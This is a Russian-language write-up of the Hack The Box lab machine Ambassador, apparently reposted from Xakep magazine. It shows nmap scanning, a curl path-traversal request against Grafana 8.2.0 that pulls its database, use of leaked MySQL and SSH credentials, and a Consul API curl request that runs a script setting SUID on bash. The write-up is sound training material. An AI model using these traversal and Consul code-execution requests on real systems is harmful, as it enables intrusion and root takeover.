Хакер - HTB Ambassador. Повышаем привилегии через Consul
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Точка опоры
- Продвижение
- Локальное повышение привилегий
В этом райтапе я покажу, как читать файлы из Grafana, затем мы поработаем с базой данных для получения доступа к хосту и повысим привилегии через Consul.
Упражняться будем на учебной машине Ambassador с площадки Hack The Box. Уровень сложности — средний.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.183 ambassador.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Сканирование показало несколько открытых портов:
- 22 — служба OpenSSH 8.2p1;
- 80 — веб‑сервер Apache 2.4.41;
- 3000 — не определенный веб‑сервер;
- 3306 — служба MySQL 8.0.30.
Первым делом посмотрим на сайты.

В первом же посте находим информацию о том, как подключаться к серверу по SSH, и получаем имя пользователя — developer. Также узнаем, что можем где‑то найти пароль.

На втором сайте нас встречает форма авторизации Grafana.

ТОЧКА ВХОДА
Grafana — система визуализации данных, ориентированная на системы ИТ‑мониторинга. Пользователю предоставляются диаграммы, графики и таблицы с разными показателями. На странице авторизации мы можем увидеть версию платформы — 8.2.0.
Первым делом стоит проверить, есть ли для обнаруженной версии готовые эксплоиты. Искать нужно в базах вроде HackerOne и exploit-db, а также стоит заглянуть на GitHub. Так, по запросу «grafana v8.2.0 (d7f71e9eae) exploit» мы сразу узнаем, что в этой версии есть уязвимость с идентификатором CVE.

Уязвимость заключается в том, что возможен обход каталогов и как результат — доступ к произвольным локальным файлам. Причина появления этой уязвимости — неправильно реализованная функция подключения модулей.
Дальнейший поиск на GitHub приводит нас к рабочему эксплоиту, которому в качестве параметра нужно передать только URL системы мониторинга.

В качестве теста пробуем прочитать файл /etc/passwd.

Среди пользователей обнаружим отмеченного ранее пользователя developer.
ТОЧКА ОПОРЫ
Первым делом сразу попытаемся прочитать приватный SSH-ключ /home/developer/.ssh/id_rsa.

Такого файла не существует, поэтому нужно поискать другие варианты. К примеру, файл конфигураций Grafana /etc/grafana/grafana.ini, который должен содержать учетные данные администратора.

С полученными учетными данными мы легко авторизуемся через веб‑интерфейс.

ПРОДВИЖЕНИЕ
Продвигаясь дальше, получим файл базы данных grafana.
curl --path-as-is http://ambassador.htb:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db
Я просматриваю такие файлы в DB Browser. Там находим таблицу data_source, из столбца password которой получаем пароль для подключения к базе данных grafana.

Разделение доступа к разным базам данных в СУБД может быть не настроено, и можно будет получить данные из других баз, а не только из grafana. Подключаемся и просматриваем существующие базы данных.
mysql -h ambassador.htb -u grafana -p'dontStandSoCloseToMe63221!'
show databases;

Видим базу данных whackywidget, которая не является служебной. Выбираем ее для работы и получаем список таблиц.
use whackywidget;
show tables;

Таблица здесь всего одна, причем очень интересная. Запросим ее содержимое.
select * from users;

Получаем закодированный в Base64 пароль локального пользователя developer.
echo YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== | base64 -d

С полученным паролем авторизуемся по SSH и забираем первый флаг.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Получив доступ к хосту, мы первым делом должны собрать информацию. Я, как обычно, воспользуюсь набором скриптов PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.
Загрузим скрипт для Linux на удаленный хост, дадим право на выполнение и запустим. Теперь следует отобрать важную информацию, которую подсветит скрипт.
Во‑первых, в каталоге /opt есть два проекта, один из которых называется consul.

На хосте для локального адреса открыт порт 8500, что типично для Consul.

HashiCorp Consul — это опенсорсный инструмент, который облегчает разработчикам организацию взаимодействия между сервисами, управление конфигурацией и сегментацию сети. Consul умеет находить сервисы и проверять их работоспособность, балансировать нагрузку и показывать наглядные графики. Также у него есть возможность хранить ключи авторизации.
Нам нужно найти, где в системе используется Consul. Для этого анализируем обнаруженный проект в каталоге /opt/.

Это репозиторий Git, поэтому мы можем посмотреть историю изменений, выполнив команду git show внутри каталога.

И наконец, находим команду consul, которая применяется для экспорта пароля MySQL. Здесь нужно обратить внимание на то, что мы нашли токен и теперь сможем работать с Consul API. Опираясь на публикацию в блоге Wallarm, мы можем получить выполнение кода с помощью Consul API в контексте работы службы. А так как Consul работает от имени рута, это повышение привилегий в системе.
Для эксплуатации нам нужно использовать API /agent/check/register со следующими параметрами.
{
"ID": "ralf",
"Name": "ralf",
"Address": "127.0.0.1",
"Port": 80,
"check": {
"Args": ["/bin/bash", "/tmp/lpe.sh"],
"interval": "10s",
"timeout": "1s"
}
}
Таким образом мы запустим скрипт /tmp/lpe.sh в Bash. Внутри скрипта просто присвоим S-бит файлу командной оболочки: chmod u+s /usr/bin/bash. Выполняем запрос к API с помощью curl:
curl --header "X-Consul-Token: bb03b43b-1a81-d62b-24b5-39540ee469b5" --request PUT -d '{"ID": "ralf", "Name": "ralf", "Address": "127.0.0.1", "Port": 80, "check": {"Args": ["/bin/bash", "/tmp/lpe.sh"], "interval": "10s", "timeout": "1s"}}' http://127.0.0.1:8500/v1/agent/service/register
Затем проверим файл /bin/bash и увидим поставленный нами S-бит.

Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.
Запустив /bin/bash -p, мы получим привилегированный шелл.

Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei